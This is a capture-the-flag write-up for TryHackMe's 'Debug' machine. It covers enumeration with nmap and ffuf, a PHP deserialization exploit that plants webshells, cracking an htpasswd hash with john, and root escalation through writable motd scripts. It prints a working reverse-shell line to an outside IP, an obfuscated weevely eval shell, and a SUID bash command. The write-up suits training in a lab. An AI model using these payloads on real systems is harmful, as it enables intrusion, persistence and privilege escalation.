Information
Room
Name: Debug
Profile: tryhackme.com
Difficulty: Medium
Description : Linux Machine CTF! You'll learn about enumeration, finding hidden password files and how to exploit php deserialization!
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S nmap ffuf john weevely
Network enumeration
Ports and services scan with nmap:
# Nmap 7.91 scan initiated Tue Jul 27 11:15:15 2021 as: nmap -sSVC -p- -oA nmap_full -v -T 4 10.10.128.229
Nmap scan report for debug.thm (10.10.128.229)
Host is up (0.066s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 44:ee:1e:ba:07:2a:54:69:ff:11:e3:49:d7:db:a9:01 (RSA)
| 256 8b:2a:8f:d8:40:95:33:d5:fa:7a:40:6a:7f:29:e4:03 (ECDSA)
|_ 256 65:59:e4:40:2a:c2:d7:05:77:b3:af:60:da:cd:fc:67 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 27 11:18:23 2021 -- 1 IP address (1 host up) scanned in 188.05 seconds
Add a local domain:
$ sudoedit /etc/hosts
$ grep debug /etc/hosts
10.10.128.229 debug.thm
Web discovery & enumeration
At http://debug.thm/ there is only the Apache2 Ubuntu Default Page .
Let's enumerate folders and files with ffuf
:
$ ffuf -u http://debug.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php
...
backup [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 79ms]
index.php [Status: 200, Size: 5732, Words: 1428, Lines: 204, Duration: 9292ms]
There are 2 backup files:
PHP deserialization
index.php
contains the following vulnerable code:
< ? php
class FormSubmit {
public $form_file = 'message.txt' ;
public $message = '' ;
public function SaveMessage () {
$NameArea = $_GET [ 'name' ];
$EmailArea = $_GET [ 'email' ];
$TextArea = $_GET [ 'comments' ];
$this -> message = "Message From : " . $NameArea . " || From Email : " . $EmailArea . " || Comment : " . $TextArea . " \n " ;
}
public function __destruct () {
file_put_contents ( __DIR__ . '/' . $this -> form_file , $this -> message , FILE_APPEND );
echo 'Your submission has been successfully saved!' ;
}
}
// Leaving this for now... only for debug purposes... do not touch!
$debug = $_GET [ 'debug' ] ?? '' ;
$messageDebug = unserialize ( $debug );
$application = new FormSubmit ;
$application -> SaveMessage ();
? >
There is a big, obvious deserialization vulnearability.
Generate a php web shell.
$ weevely generate -obfuscator cleartext1_php noraj agent.php
Generated 'agent.php' with password 'noraj' of 478 byte size.
My deserialization payload will override the class variables: I want a php file instead of a text file,
and I'll fix the message content to my webshell.
< ? php
class FormSubmit {
public $form_file = 'noraj.php' ;
public $message = '<?php $k="556cc238";$kh="63fef20fab5c";$kf="456db166bc6e";$p="D7oXXhELqkGDbE83";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");} ?>' ;
}
$noraj = new FormSubmit ;
echo serialize ( $noraj );
? >
Run the payload generator:
$ php exploit.php
O:10:"FormSubmit":2:{s:9:"form_file";s:9:"noraj.php";s:7:"message";s:454:"<?php $k="556cc238";$kh="63fef20fab5c";$kf="456db166bc6e";$p="D7oXXhELqkGDbE83";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");} ?>";}
Then we just have to browse to http://debug.thm/index.php?debug=<serialized_payload>
to trigger the execution.
My webshell was uploaded to http://debug.thm/noraj.php .
Let's reach the web shell.
$ weevely http://debug.thm/noraj.php noraj
There was an issue with the payload, maybe due to the double quotes so I went
back to a much simpler payload.
< ? php
class FormSubmit {
public $form_file = 'noraj.php' ;
public $message = '<?php system($_GET[1]); ?>' ;
}
$noraj = new FormSubmit ;
echo serialize ( $noraj );
? >
$ php exploit.php
O:10:"FormSubmit":2:{s:9:"form_file";s:9:"noraj.php";s:7:"message";s:26:"<?php system($_GET[1]); ?>";}
We can confirm the execution works http://debug.thm/noraj.php?1=id
System access
With cat .htpasswd
we can find a user hash for apache: james:$apr1$zPZMix2A$d8fBXH0em33bfI9UTt9Nq1
.
It may be worth to crack if it is re-used for SSH.
$ john --wordlist=/usr/share/wordlists/passwords/rockyou.txt --format=md5crypt-long hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
j<edited>a (james)
1g 0:00:00:00 DONE (2021-07-27 16:59) 50.00g/s 32000p/s 32000c/s 32000C/s evelyn..pebbles
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Now we can access the server via SSH.
$ ssh james@debug.thm
The authenticity of host 'debug.thm (10.10.146.9)' can't be established.
ED25519 key fingerprint is SHA256:j1rsa6H3aWAH+1ivgTwsdNPBDEJU72p3MUWbcL70JII.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'debug.thm' (ED25519) to the list of known hosts.
james@debug.thm's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
439 packages can be updated.
380 updates are security updates.
Last login: Wed Mar 10 18:36:58 2021 from 10.250.0.44
james@osboxes:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)
james@osboxes:~$ cat user.txt
Elevation of Privilege (EoP): from james to root
We have a hint:
james@osboxes:~$ cat Note-To-James.txt
Dear James,
As you may already know, we are soon planning to submit this machine to THM's CyberSecurity Platform! Crazy... Isn't it?
But there's still one thing I'd like you to do, before the submission.
Could you please make our ssh welcome message a bit more pretty... you know... something beautiful :D
I gave you access to modify all these files :)
Oh and one last thing... You gotta hurry up! We don't have much time left until the submission!
Best Regards,
root
We have the permission for all motd files:
james@osboxes:~$ ls -lhA /etc/update-motd.d/
total 28K
-rwxrwxr-x 1 root james 1.2K Mar 10 18:32 00-header
-rwxrwxr-x 1 root james 0 Mar 10 18:38 00-header.save
-rwxrwxr-x 1 root james 1.2K Jun 14 2016 10-help-text
-rwxrwxr-x 1 root james 97 Dec 7 2018 90-updates-available
-rwxrwxr-x 1 root james 299 Jul 22 2016 91-release-upgrade
-rwxrwxr-x 1 root james 142 Dec 7 2018 98-fsck-at-reboot
-rwxrwxr-x 1 root james 144 Dec 7 2018 98-reboot-required
-rwxrwxr-x 1 root james 604 Nov 5 2017 99-esm
We can append a reverse shell (/bin/bash -i >& /dev/tcp/10.9.19.77/9001 0>&1
) to any of thus file (eg. 00-header
)
and when any user will connect it will be executed with root permission.
It wasn't working with reverse shells so I made a BASH SUID instead.
cp /bin/bash /home/james/bash && chmod u+s /home/james/bash
Then just lauch ./bash -p
to get a root shell.